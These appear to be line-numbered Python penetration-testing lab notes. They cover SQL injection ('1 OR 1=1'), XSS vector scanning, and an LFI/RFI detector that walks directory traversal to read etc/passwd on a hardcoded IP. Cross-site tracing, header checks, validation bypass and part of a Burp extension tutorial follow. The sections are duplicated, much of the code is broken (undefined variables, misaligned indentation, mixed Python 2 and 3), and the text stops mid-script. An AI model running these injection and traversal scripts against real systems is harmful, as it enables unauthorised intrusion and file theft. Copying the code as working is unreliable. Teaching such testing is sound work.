################################################
2213
# Python Penetration Testing — SQLi Web Attack #
2214
################################################
2215
 
2216
 
2217
 
2218
The attack can be categorize into the following two types:
2219
 
2220
- In-band SQL injection (Simple SQLi)
2221
- Inferential SQL injection (Blind SQLi)
2222
 
2223
 
2224
All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
2225
 
2226
 
2227
The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
2228
 
2229
 
2230
First of all we need to import the mechanize module.
2231
 
2232
-----------------------
2233
import mechanize
2234
-----------------------
2235
 
2236
Now, provide the name of the URL for obtaining the response after submitting the form.
2237
 
2238
-------------------------------------
2239
url = input("Enter the full url")
2240
-------------------------------------
2241
 
2242
The following line of codes will open the url.
2243
 
2244
-----------------------------------
2245
request = mechanize.Browser()
2246
request.open(url)
2247
-----------------------------------
2248
 
2249
Now, we need to select the form.
2250
 
2251
---------------------------------
2252
request.select_form(nr=0)
2253
---------------------------------
2254
 
2255
Here,we will setthe column name ‘id’.
2256
 
2257
---------------------------------
2258
request["id"] = "1 OR 1=1"
2259
---------------------------------
2260
 
2261
Now, we need to submit the form
2262
 
2263
---------------------------------
2264
response = request.submit()
2265
content = response.read()
2266
print(content)
2267
--------------------------------
2268
 
2269
The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
2270
 
2271
To begin with, let us import the mechanize module.
2272
 
2273
---------------------------
2274
import mechanize
2275
---------------------------
2276
 
2277
Now, provide the name of the URL for obtaining the response after submitting the form.
2278
 
2279
---------------------------------
2280
url = input("Enter the full url")
2281
   attack_no = 1
2282
---------------------------------
2283
 
2284
 
2285
We need to read the attack vectors from the file
2286
 
2287
-------------------------------------
2288
with open ('vectors.txt') as v:
2289
-------------------------------------
2290
 
2291
Now we will send request with each arrack vector
2292
 
2293
-------------------------------
2294
for line in v:
2295
   browser.open(url)
2296
browser.select_form(nr=0)
2297
   browser["id"] = line
2298
   res = browser.submit()
2299
content = res.read()
2300
------------------------------
2301
 
2302
 
2303
Now, the following line of code will write the response to the output file.
2304
 
2305
-----------------------------------------------------
2306
output = open('response/'+str(attack_no)+'.txt','w')
2307
output.write(content)
2308
output.close()
2309
print attack_no
2310
attack_no += 1
2311
-----------------------------------------------------
2312
 
2313
 
2314
By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
2315
 
2316
 
2317
###############################################
2318
# Python Penetration Testing — XSS Web Attack #
2319
###############################################
2320
 
2321
 
2322
Types of XSS Attack
2323
 
2324
 
2325
The  attack can  be classified into the following major categories:
2326
 
2327
-Persistent or stored XSS
2328
-Non-persistent or reflected XSS
2329
 
2330
 
2331
 
2332
Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
2333
 
2334
To begin with, let us import the mechanize module.
2335
 
2336
------------------------
2337
import mechanize
2338
-----------------------
2339
 
2340
 
2341
Now, provide the name of the URL for obtaining the response after submitting the form.
2342
 
2343
----------------------------------
2344
url = input("Enter the full url")
2345
   attack_no = 1
2346
----------------------------------
2347
 
2348
We need to read the attack vectors from the file.
2349
 
2350
---------------------------------------
2351
with open ('vectors_XSS.txt') as x:
2352
--------------------------------------
2353
 
2354
Now we will send request with each arrack vector
2355
 
2356
-------------------------
2357
for line in x:
2358
   browser.open(url)
2359
browser.select_form(nr=0)
2360
   browser["id"] = line
2361
   res = browser.submit()
2362
content = res.read()
2363
 
2364
------------------------
2365
 
2366
The following line of code will check the printed attack vector.
2367
 
2368
-----------------------------
2369
if content.find(line) > 0:
2370
   print("Possible XSS")
2371
 
2372
-----------------------------
2373
 
2374
The following line of code will write the response to output file.
2375
 
2376
 
2377
-----------------------------------------------------------
2378
output = open('response/'+str(attack_no)+'.txt','w')
2379
output.write(content)
2380
output.close()
2381
print attack_no
2382
attack_no += 1
2383
----------------------------------------------------------
2384
 
2385
 
2386
*** Full example code: ***
2387
 
2388
------------------------------------------------------------------
2389
import mechanize
2390
 
2391
url = input("Enter the full url")
2392
attack_no = 1
2393
 
2394
with open ('vectors_XSS.txt') as x:
2395
   for line in x:
2396
      browser.open(url)
2397
   browser.select_form(nr=0)
2398
      browser["id"] = line
2399
      res = browser.submit()
2400
   content = res.read()
2401
 
2402
   if content.find(line) > 0:
2403
      print("Possible XSS")
2404
 
2405
   output = open('response/'+str(attack_no)+'.txt','w')
2406
   output.write(content)
2407
   output.close()
2408
   print attack_no
2409
   attack_no += 1
2410
-----------------------------------------------------------------
2411
 
2412
XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
2413
2414
2415
---------------------------Type This-----------------------------------
2416
nano bannergrab.py
2417
 
2418
 
2419
---------------------------Paste This----------------------------------
2420
 
2421
#!/usr/bin/env python3
2422
import sys
2423
import socket
2424
 
2425
# Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
2426
 
2427
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2428
s.connect(("45.63.104.73", 80))
2429
s.send(("GET / HTTP/1.1\r\n\r\n").encode())
2430
 
2431
#Convert response to bytes
2432
response = b""
2433
# or use encode()
2434
#response = "".encode()
2435
 
2436
while True:
2437
    data = s.recv(4096)
2438
    response += data
2439
    if not data:
2440
        break
2441
s.close()
2442
print(response.decode())
2443
----------------------------------------------------------------------
2444
 
2445
 
2446
---------------------------Type This-----------------------------------
2447
python3 bannergrab.py
2448
-----------------------------------------------------------------------
2449
 
2450
 
2451
 
2452
 
2453
 
2454
################# Do not do this lab #################
2455
---------------------------Type This-----------------------------------
2456
nano titlegrab.py
2457
 
2458
 
2459
---------------------------Paste This----------------------------------
2460
#!/usr/bin/env python3
2461
import requests
2462
from bs4 import BeautifulSoup
2463
 
2464
def main():
2465
    print("\nPage URL and Title")
2466
    print("-----------------------------------------------------------------")
2467
   
2468
    urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
2469
   
2470
    for url in urls:
2471
        r = requests.get(url)
2472
        soup = BeautifulSoup(r.text, 'html.parser')
2473
       
2474
        print(url + " = " + soup.title.string)
2475
       
2476
if __name__ == "__main__":
2477
    main()
2478
----------------------------------------------------------------------
2479
################# end of lab that doesn't work #################
2480
 
2481
 
2482
---------------------------Type This-----------------------------------
2483
nano LFI-RFI.py
2484
 
2485
 
2486
---------------------------Paste This----------------------------------
2487
 
2488
#!/usr/bin/env python3
2489
print("\n### PHP LFI/RFI Detector ###")
2490
 
2491
import urllib.request, urllib.error, urllib.parse,re,sys
2492
 
2493
TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
2494
RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
2495
TravLimit = 12
2496
 
2497
print("==> Testing for LFI vulns..")
2498
TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
2499
for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
2500
   TARGET += "../"
2501
   try:
2502
       source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
2503
   except urllib.error.URLError as e:
2504
       print("$$$ We had an Error:",e)
2505
       sys.exit(0)
2506
   if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
2507
       print("!! ==> LFI Found:",TARGET+"etc/passwd")
2508
       break ## BREAK LOOP WHEN VULN FOUND
2509
 
2510
print("\n==> Testing for RFI vulns..")
2511
TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
2512
try:
2513
   source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
2514
except urllib.error.URLError as e:
2515
   print("$$$ We had an Error:",e)
2516
   sys.exit(0)
2517
if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
2518
   print("!! => RFI Found:",TARGET)
2519
   
2520
print("\nScan Complete\n") ## DONE
2521
----------------------------------------------------------------------
2522
 
2523
 
2524
 
2525
 
2526
---------------------------Type This-----------------------------------
2527
python3 LFI-RFI.py
2528
-----------------------------------------------------------------------
2529
 
2530
 
2531
 
2532
2533
 
2534
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2535
 
2536
################################################
2537
# Python Penetration Testing—Application Layer #
2538
################################################
2539
 
2540
########################################
2541
# Testing availability of HTTP methods #
2542
########################################
2543
 
2544
A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
2545
Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:  
2546
 
2547
To begin with, we need to import the requests library:
2548
 
2549
---------------------------
2550
import requests
2551
---------------------------
2552
 
2553
After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
2554
 
2555
----------------------------------------------------------------------------
2556
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
2557
----------------------------------------------------------------------------
2558
 
2559
The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
2560
 
2561
------------------------------------------------------
2562
for method in method_list:
2563
   req = requests.request(method, 'Enter the URL’)
2564
   print (method, req.status_code, req.reason)
2565
------------------------------------------------------
2566
 
2567
The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
2568
 
2569
-------------------------------------------------------------
2570
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
2571
   print ('Cross Site Tracing(XST) is possible')
2572
-------------------------------------------------------------
2573
 
2574
 
2575
*** Full code with example url: ***
2576
 
2577
---------------------------Type This-----------------------------------
2578
nano xst.py
2579
 
2580
 
2581
---------------------------Paste This----------------------------------
2582
import requests
2583
method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
2584
for method in method_list:
2585
   req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
2586
   print (method, req.status_code, req.reason)
2587
if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
2588
   print ('Cross Site Tracing(XST) is possible')
2589
 
2590
-------------------------------------------------------------------------
2591
 
2592
 
2593
After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
2594
 
2595
 
2596
---------------------------Type This-----------------------------------
2597
python3 xst.py
2598
-----------------------------------------------------------------------
2599
 
2600
##########################################
2601
# Foot printing by checking HTTP headers #
2602
##########################################
2603
 
2604
 
2605
HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
2606
 
2607
To begin with, let us import the requests library:
2608
 
2609
------------------------
2610
import requests
2611
------------------------
2612
 
2613
We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
2614
 
2615
---------------------------------------------
2616
request = requests.get('enter the URL')
2617
---------------------------------------------
2618
 
2619
Next, we will generate a list of headers about which you need the information.
2620
 
2621
---------------------------------------------------------------------------------------------------------------
2622
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
2623
---------------------------------------------------------------------------------------------------------------
2624
 
2625
Next is a try and except block.
2626
 
2627
---------------------------------------------------
2628
for header in header_list:
2629
 
2630
   try:
2631
      result = request.headers[header]
2632
      print ('%s: %s' % (header, result))
2633
   except Exception as err:
2634
         print ('%s: No Details Found' % header)
2635
 
2636
---------------------------------------------------
2637
 
2638
 
2639
 
2640
 
2641
*** Example Full Code: ***
2642
 
2643
---------------------------Type This-----------------------------------
2644
nano headercheck.py
2645
 
2646
 
2647
---------------------------Paste This----------------------------------
2648
#!/usr/bin/env python3
2649
import requests
2650
request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
2651
header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
2652
for header in header_list:
2653
      try:
2654
         result = request.headers[header]
2655
         print ('%s: %s' % (header, result))
2656
      except Exception as err:
2657
               print ('%s: No Details Found' % header)
2658
----------------------------------------------------------------------------------------------------------------
2659
 
2660
 
2661
After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
2662
 
2663
 
2664
---------------------------Type This-----------------------------------
2665
python3 headercheck.py
2666
-----------------------------------------------------------------------
2667
 
2668
 
2669
##############################################
2670
# Testing insecure web server configurations #
2671
##############################################
2672
 
2673
We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
2674
---------------------------Type This-----------------------------------
2675
nano websites.txt
2676
 
2677
---------------------------Paste This----------------------------------
2678
https://www.google.com
2679
https://www.cnn.com
2680
https://foxnews.com
2681
-----------------------------------------------------------------------
2682
 
2683
 
2684
 
2685
 
2686
---------------------------Type This-----------------------------------
2687
nano insecure_config_check.py
2688
 
2689
 
2690
---------------------------Paste This----------------------------------
2691
#!/usr/bin/eve python3
2692
import requests
2693
urls = open("websites.txt", "r")
2694
for url in urls:
2695
   url = url.strip()
2696
   req = requests.get(url)
2697
   print (url, 'report:')
2698
   try:
2699
      protection_xss = req.headers['X-XSS-Protection']
2700
      if protection_xss != '1; mode=block':
2701
         print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
2702
   except:
2703
      print ('X-XSS-Protection not set, it may be possible')
2704
   try:
2705
      options_content_type = req.headers['X-Content-Type-Options']
2706
      if options_content_type != 'nosniff':
2707
         print ('X-Content-Type-Options not set properly:', options_content_type)
2708
   except:
2709
      print ('X-Content-Type-Options not set')
2710
   try:
2711
      transport_security = req.headers['Strict-Transport-Security']
2712
   except:
2713
      print ('HSTS header not set properly, Man in the middle attacks is possible')
2714
   try:
2715
      content_security = req.headers['Content-Security-Policy']
2716
      print ('Content-Security-Policy set:', content_security)
2717
   except:
2718
      print ('Content-Security-Policy missing')
2719
 
2720
-----------------------------------------------------------------------
2721
 
2722
 
2723
---------------------------Type This-----------------------------------
2724
python3 insecure_config_check.py
2725
-----------------------------------------------------------------------
2726
 
2727
 
2728
#####################################
2729
# Footprinting of a Web Application #
2730
#####################################
2731
 
2732
Methods for Footprinting of a Web Application
2733
 
2734
 
2735
Gathering information using parser BeautifulSoup
2736
 
2737
 
2738
Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
2739
 
2740
To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
2741
 
2742
--------------------------------------
2743
apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
2744
--------------------------------------
2745
 
2746
---------------------------Type This-----------------------------------
2747
$ python3
2748
import urllib
2749
from bs4 import BeautifulSoup
2750
-----------------------------------------------------------------------
2751
 
2752
The Python script given below will gather the title of web page andhyperlinks:
2753
 
2754
Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
2755
 
2756
 
2757
---------------------------Type This-----------------------------------
2758
from urllib.request import urlopen
2759
 
2760
url = 'http://www.python.org'
2761
file = urlopen(url)
2762
html_page = file.read()
2763
-----------------------------------------------------------------------
2764
 
2765
The html_page will be assigned as an input to create soup object.
2766
 
2767
---------------------------Type This-----------------------------------
2768
soup_object = BeautifulSoup(html_page)
2769
-----------------------------------------------------------------------
2770
 
2771
Following two lines will print the title name with tags and without tags respectively.
2772
 
2773
---------------------------Type This-----------------------------------
2774
print(soup_object.title)
2775
print(soup_object.title.text)
2776
-----------------------------------------------------------------------
2777
 
2778
The line of code shown below will save all the hyperlinks.
2779
 
2780
---------------------------Type This-----------------------------------
2781
for link in soup_object.find_all('a'):
2782
   print(link.get('href'))
2783
-----------------------------------------------------------------------
2784
 
2785
 
2786
 
2787
 
2788
*** Full example code: ***
2789
 
2790
---------------------------Type This-----------------------------------
2791
 
2792
import urllib
2793
 
2794
from bs4 import BeautifulSoup
2795
 
2796
from urllib.request import urlopen
2797
 
2798
url = 'http://www.python.org'
2799
file = urlopen(url)
2800
html_page = file.read()
2801
print(html_page)
2802
 
2803
soup_object= BeautifulSoup(html_page)
2804
 
2805
 
2806
print(soup_object.title)
2807
print(soup_object.title.text)
2808
 
2809
 
2810
for link in soup_object.find_all('a'):
2811
   print(link.get('href'))
2812
 
2813
-----------------------------------------------------------------------
2814
 
2815
 
2816
###################
2817
# Banner grabbing #
2818
###################
2819
 
2820
 
2821
The following Python script helps grab the banner using socket programming:
2822
 
2823
------------------------------------------------------------------------------
2824
import socket
2825
 
2826
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
2827
 
2828
host = input("Enter the host name: ")
2829
port = int(input("Enter Port: "))
2830
 
2831
 
2832
# host = '192.168.1.54'
2833
# port = 22
2834
 
2835
s.connect((host, port))
2836
 
2837
try:
2838
    s.send(b'GET HTTP/1.1 \r\n')
2839
    ret = s.recv(1024)
2840
    print('[+]{}'.format(ret))
2841
except Exception as e:
2842
    print('[-] Not information grabbed: {}'.format(e))
2843
-------------------------------------------------------------------------------
2844
 
2845
After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
2846
 
2847
 
2848
###################################################
2849
# Server-side Validation & Client-side Validation #
2850
###################################################
2851
 
2852
 
2853
#######################################
2854
# Python Module for Validation Bypass #
2855
#######################################
2856
 
2857
 
2858
The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
2859
 
2860
---------------------------------
2861
pip3 install mechanize              <-- This is already installed. You don't have to do this step
2862
---------------------------------
2863
 
2864
 
2865
 
2866
Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
2867
 
2868
To begin with, let us import the mechanize browser:
2869
 
2870
 
2871
----------------------
2872
import mechanize
2873
----------------------
2874
 
2875
Now, we will create an object named brwsr of the mechanize browser:
2876
 
2877
-----------------------------
2878
brwsr = mechanize.Browser()
2879
-----------------------------
2880
 
2881
The next line of code shows that the user agent is not a robot
2882
 
2883
--------------------------------
2884
brwsr.set_handle_robots( False )
2885
--------------------------------
2886
 
2887
Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
2888
 
2889
-----------------------------
2890
url = input("Enter URL ")
2891
-----------------------------
2892
 
2893
Now, following lines will set some parenters to true.
2894
 
2895
-----------------------------------
2896
brwsr.set_handle_equiv(True)
2897
brwsr.set_handle_gzip(True)
2898
brwsr.set_handle_redirect(True)
2899
brwsr.set_handle_referer(True)
2900
----------------------------------
2901
 
2902
 
2903
Next it will open the web page and print the web form on that page.
2904
 
2905
-----------------------------
2906
brwsr.open(url)
2907
for form in brwsr.forms():
2908
   print(form)
2909
-----------------------------
2910
 
2911
Next line of codes will bypass the validations on the given fields.
2912
 
2913
------------------------------------
2914
brwsr.select_form(nr=0)
2915
brwsr.form['name'] = ''
2916
brwsr.form['gender'] = ''
2917
brwsr.submit()
2918
------------------------------------
2919
 
2920
The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
2921
 
2922
 
2923
################################################
2924
# Python Penetration Testing — SQLi Web Attack #
2925
################################################
2926
 
2927
 
2928
 
2929
The attack can be categorize into the following two types:
2930
 
2931
- In-band SQL injection (Simple SQLi)
2932
- Inferential SQL injection (Blind SQLi)
2933
 
2934
 
2935
All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
2936
 
2937
 
2938
The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
2939
 
2940
 
2941
First of all we need to import the mechanize module.
2942
 
2943
-----------------------
2944
import mechanize
2945
-----------------------
2946
 
2947
Now, provide the name of the URL for obtaining the response after submitting the form.
2948
 
2949
-------------------------------------
2950
url = input("Enter the full url")
2951
-------------------------------------
2952
 
2953
The following line of codes will open the url.
2954
 
2955
-----------------------------------
2956
request = mechanize.Browser()
2957
request.open(url)
2958
-----------------------------------
2959
 
2960
Now, we need to select the form.
2961
 
2962
---------------------------------
2963
request.select_form(nr=0)
2964
---------------------------------
2965
 
2966
Here,we will setthe column name ‘id’.
2967
 
2968
---------------------------------
2969
request["id"] = "1 OR 1=1"
2970
---------------------------------
2971
 
2972
Now, we need to submit the form
2973
 
2974
---------------------------------
2975
response = request.submit()
2976
content = response.read()
2977
print(content)
2978
--------------------------------
2979
 
2980
The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
2981
 
2982
To begin with, let us import the mechanize module.
2983
 
2984
---------------------------
2985
import mechanize
2986
---------------------------
2987
 
2988
Now, provide the name of the URL for obtaining the response after submitting the form.
2989
 
2990
---------------------------------
2991
url = input("Enter the full url")
2992
   attack_no = 1
2993
---------------------------------
2994
 
2995
 
2996
We need to read the attack vectors from the file
2997
 
2998
-------------------------------------
2999
with open ('vectors.txt') as v:
3000
-------------------------------------
3001
 
3002
Now we will send request with each arrack vector
3003
 
3004
-------------------------------
3005
for line in v:
3006
   browser.open(url)
3007
browser.select_form(nr=0)
3008
   browser["id"] = line
3009
   res = browser.submit()
3010
content = res.read()
3011
------------------------------
3012
 
3013
 
3014
Now, the following line of code will write the response to the output file.
3015
 
3016
-----------------------------------------------------
3017
output = open('response/'+str(attack_no)+'.txt','w')
3018
output.write(content)
3019
output.close()
3020
print attack_no
3021
attack_no += 1
3022
-----------------------------------------------------
3023
 
3024
 
3025
By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
3026
 
3027
 
3028
###############################################
3029
# Python Penetration Testing — XSS Web Attack #
3030
###############################################
3031
 
3032
 
3033
Types of XSS Attack
3034
 
3035
 
3036
The  attack can  be classified into the following major categories:
3037
 
3038
-Persistent or stored XSS
3039
-Non-persistent or reflected XSS
3040
 
3041
 
3042
 
3043
Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
3044
 
3045
To begin with, let us import the mechanize module.
3046
 
3047
------------------------
3048
import mechanize
3049
-----------------------
3050
 
3051
 
3052
Now, provide the name of the URL for obtaining the response after submitting the form.
3053
 
3054
----------------------------------
3055
url = input("Enter the full url")
3056
   attack_no = 1
3057
----------------------------------
3058
 
3059
We need to read the attack vectors from the file.
3060
 
3061
---------------------------------------
3062
with open ('vectors_XSS.txt') as x:
3063
--------------------------------------
3064
 
3065
Now we will send request with each arrack vector
3066
 
3067
-------------------------
3068
for line in x:
3069
   browser.open(url)
3070
browser.select_form(nr=0)
3071
   browser["id"] = line
3072
   res = browser.submit()
3073
content = res.read()
3074
 
3075
------------------------
3076
 
3077
The following line of code will check the printed attack vector.
3078
 
3079
-----------------------------
3080
if content.find(line) > 0:
3081
   print("Possible XSS")
3082
 
3083
-----------------------------
3084
 
3085
The following line of code will write the response to output file.
3086
 
3087
 
3088
-----------------------------------------------------------
3089
output = open('response/'+str(attack_no)+'.txt','w')
3090
output.write(content)
3091
output.close()
3092
print attack_no
3093
attack_no += 1
3094
----------------------------------------------------------
3095
 
3096
 
3097
*** Full example code: ***
3098
 
3099
------------------------------------------------------------------
3100
import mechanize
3101
 
3102
url = input("Enter the full url")
3103
attack_no = 1
3104
 
3105
with open ('vectors_XSS.txt') as x:
3106
   for line in x:
3107
      browser.open(url)
3108
   browser.select_form(nr=0)
3109
      browser["id"] = line
3110
      res = browser.submit()
3111
   content = res.read()
3112
 
3113
   if content.find(line) > 0:
3114
      print("Possible XSS")
3115
 
3116
   output = open('response/'+str(attack_no)+'.txt','w')
3117
   output.write(content)
3118
   output.close()
3119
   print attack_no
3120
   attack_no += 1
3121
-----------------------------------------------------------------
3122
 
3123
XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
3124
 
3125
 
3126
 ##################################
3127
# Burp Extension Python Tutorial #
3128
##################################
3129
 
3130
Reference link for this lab exercise:
3131
https://laconicwolf.com/2018/04/13/burp-extension-python-tutorial/
3132
 
3133
 
3134
 
3135
- Initial setup
3136
 
3137
    Create a directory to store your extensions – I named mine burp-extensions
3138
    Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the burp-extensions folder
3139
    Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the burp-extensions folder – This will make debugging much easier
3140
    Configure Burp to use Jython – Extender > Options > Python Environment > Select file…
3141
 
3142
The IBurpExtender module is required for all extensions, while the IMessageEditorTab and IMessageEditorTabFactory will be used to display messages in Burp’s message tab. The base64 module will be used to decode the basic authorization header, and the FixBurpExceptions and sys modules will be used for debugging, which I’ll cover shortly.
3143
 
3144
Hook into the Burp Extender API to access all of the base classes and useful methods
3145
 
3146
-------------------------------------------------------------------------------------------------------------------------------------------
3147
class BurpExtender(IBurpExtender, IMessageEditorTabFactory):
3148
    ''' Implements IBurpExtender for hook into burp and inherit base classes.
3149
     Implement IMessageEditorTabFactory to access createNewInstance.
3150
    '''
3151
    def registerExtenderCallbacks(self, callbacks):
3152
 
3153
        # required for debugger: https://github.com/securityMB/burp-exceptions
3154
        sys.stdout = callbacks.getStdout()
3155
 
3156
        # keep a reference to our callbacks object
3157
        self._callbacks = callbacks
3158
 
3159
        # obtain an extension helpers object
3160
        # This method is used to obtain an IExtensionHelpers object, which can be used by the extension to perform numerous useful tasks
3161
        self._helpers = callbacks.getHelpers()
3162
 
3163
        # set our extension name
3164
        callbacks.setExtensionName("Decode Basic Auth")
3165
 
3166
        # register ourselves as a message editor tab factory
3167
        callbacks.registerMessageEditorTabFactory(self)
3168
 
3169
        return
3170
       
3171
    def createNewInstance(self, controller, editable):
3172
        ''' Allows us to create a tab in the http tabs. Returns
3173
        an instance of a class that implements the iMessageEditorTab class
3174
        '''
3175
        return DisplayValues(self, controller, editable)
3176
-----------------------------------------------------------------------------------------------------------------------------------------------------
3177
 
3178
This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the lines self._callbacks and self._helpers assign useful methods from other classes. The callbacks.setExtensionName gives the extension a name, and the callbacks.registerMessageEditorTabFactory is required to implement a new tab. The createNewInstance method is required to create a new HTTP tab. The controller parameter is an IMessageEditorController object, which the new tab can query to retrieve details about the currently displayed message. The editable parameter is a Boolean value that indicates whether the tab is editable or read-only.
3179
 
3180
Now we can save the file, and load the extension into Burp, which will cause an error.
3181
 
3182
Load the file: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file…
3183
 
3184
 
3185
Click Next, and it should produce an ugly error.
3186
 
3187
 
3188
- Implement nicer looking error messages
3189
 
3190
To make the error messages readable, add the following to the code:
3191
 
3192
In the registerExtenderCallbacks method:
3193
 
3194
-----------------------------------------------------------------------------------------
3195
    def registerExtenderCallbacks(self, callbacks):
3196
 
3197
        # required for debugger: https://github.com/securityMB/burp-exceptions
3198
        sys.stdout = callbacks.getStdout()
3199
-----------------------------------------------------------------------------------------
3200
 
3201
and at the end of the script:
3202
 
3203
-----------------------------------------------------------------------------------------
3204
    def createNewInstance(self, controller, editable):
3205
        ''' Allows us to create a tab in the http tabs. Returns
3206
        an instance of a class that implements the iMessageEditorTab class
3207
        '''
3208
        return DisplayValues(self, controller, editable)
3209
 
3210
FixBurpExceptions()
3211
-----------------------------------------------------------------------------------------
3212
 
3213
Now the errors should make more sense. To reload the extension, just click the loaded checkbox, unload the extension, and click again to load it.
3214
 
3215
 
3216
We'll get another error
3217
 
3218
The error specifically mentions that with the createNewInstance method the global name DisplayValues is not defined. This error is of course expected since we have not yet created that class, which we will do now. At this point, your script should look like this:
3219
 
3220
----------------------------------------------------------------------------------------------------------------------------------------------------
3221
 
3222
# Decode the value of Authorization: Basic header
3223
# Author: Jake Miller (@LaconicWolf)
3224
 
3225
from burp import IBurpExtender               # Required for all extensions
3226
